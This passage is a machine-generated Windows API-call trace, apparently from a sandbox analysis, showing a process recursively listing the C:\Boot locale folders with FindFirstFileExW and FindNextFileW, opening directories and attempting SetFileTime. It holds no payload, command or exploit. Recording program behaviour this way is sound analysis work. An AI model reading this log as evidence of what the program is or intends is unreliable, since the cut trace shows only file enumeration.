lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0034.441] GetLastError () returned 0x12 [0034.441] FindFirstFileExW (in: lpFileName="C:\\Boot\\de-DE\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60e670 [0034.441] FindClose (in: hFindFile=0x60b670 | out: hFindFile=0x60b670) returned 1 [0034.441] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.441] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0034.441] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0034.441] GetLastError () returned 0x12 [0034.441] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f2e0) returned 1 [0034.441] FindClose (in: hFindFile=0x60e670 | out: hFindFile=0x60e670) returned 1 [0034.441] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f368) returned 1 [0034.441] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.441] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0034.441] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.441] GetFileAttributesExW (in: lpFileName="C:\\Boot\\el-GR" (normalized: "c:\\boot\\el-gr"), fInfoLevelId=0x0, lpFileInformation=0x174f678 | out: lpFileInformation=0x174f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0034.442] CreateFileW (lpFileName="C:\\Boot\\el-GR" (normalized: "c:\\boot\\el-gr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0034.442] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0034.442] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89690 [0034.442] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89690, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0xf89690, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0034.442] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89690) returned 1 [0034.442] NtClose (Handle=0x148) returned 0x0 [0034.442] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.442] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.442] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f368 [0034.442] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f2e0 [0034.442] FindFirstFileExW (in: lpFileName="C:\\Boot\\el-GR\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60b670 [0034.442] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.442] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0034.442] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.442] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.442] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.443] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.443] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.443] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf85910 [0034.443] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7efb0 [0034.443] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.443] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0034.443] GetLastError () returned 0x12 [0034.443] FindFirstFileExW (in: lpFileName="C:\\Boot\\el-GR\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60e670 [0034.443] FindClose (in: hFindFile=0x60b670 | out: hFindFile=0x60b670) returned 1 [0034.443] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.443] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0034.443] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0034.443] GetLastError () returned 0x12 [0034.443] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f2e0) returned 1 [0034.443] FindClose (in: hFindFile=0x60e670 | out: hFindFile=0x60e670) returned 1 [0034.443] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f368) returned 1 [0034.443] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.443] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0034.443] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.443] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-US" (normalized: "c:\\boot\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x174f678 | out: lpFileInformation=0x174f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0034.444] CreateFileW (lpFileName="C:\\Boot\\en-US" (normalized: "c:\\boot\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0034.444] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0034.444] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89690 [0034.444] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89690, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0xf89690, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0034.444] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89690) returned 1 [0034.444] NtClose (Handle=0x180) returned 0x0 [0034.444] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.444] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.444] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f368 [0034.444] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f2e0 [0034.444] FindFirstFileExW (in: lpFileName="C:\\Boot\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60b670 [0034.445] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.445] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0034.445] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.445] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.445] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.445] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.445] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.445] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf85930 [0034.445] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7ef28 [0034.445] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.445] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="")) returned 1 [0034.445] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.445] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.445] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.445] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.445] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.445] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf85950 [0034.445] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7eea0 [0034.445] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.445] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="")) returned 0 [0034.445] GetLastError () returned 0x12 [0034.445] FindFirstFileExW (in: lpFileName="C:\\Boot\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60e670 [0034.445] FindClose (in: hFindFile=0x60b670 | out: hFindFile=0x60b670) returned 1 [0034.445] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.445] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0034.445] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="")) returned 1 [0034.445] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="")) returned 0 [0034.445] GetLastError () returned 0x12 [0034.445] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f2e0) returned 1 [0034.445] FindClose (in: hFindFile=0x60e670 | out: hFindFile=0x60e670) returned 1 [0034.446] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f368) returned 1 [0034.446] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.446] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0034.446] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.446] GetFileAttributesExW (in: lpFileName="C:\\Boot\\es-ES" (normalized: "c:\\boot\\es-es"), fInfoLevelId=0x0, lpFileInformation=0x174f678 | out: lpFileInformation=0x174f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0034.446] CreateFileW (lpFileName="C:\\Boot\\es-ES" (normalized: "c:\\boot\\es-es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0034.447] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0034.447] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89690 [0034.447] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89690, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0xf89690, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0034.447] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89690) returned 1 [0034.447] NtClose (Handle=0x148) returned 0x0 [0034.447] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.447] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.447] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f368 [0034.447] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f2e0 [0034.447] FindFirstFileExW (in: lpFileName="C:\\Boot\\es-ES\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60b670 [0034.447] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.447] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0034.447] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.447] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.447] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.447] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.447] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.447] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf85970 [0034.447] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7ee18 [0034.447] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7ed90 [0034.447] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf891a0) returned 1 [0034.447] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.447] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0034.447] GetLastError () returned 0x12 [0034.447] FindFirstFileExW (in: lpFileName="C:\\Boot\\es-ES\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60e670 [0034.447] FindClose (in: hFindFile=0x60b670 | out: hFindFile=0x60b670) returned 1 [0034.448] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.448] FindNextFileW (in: hFindFile=0x60e670, 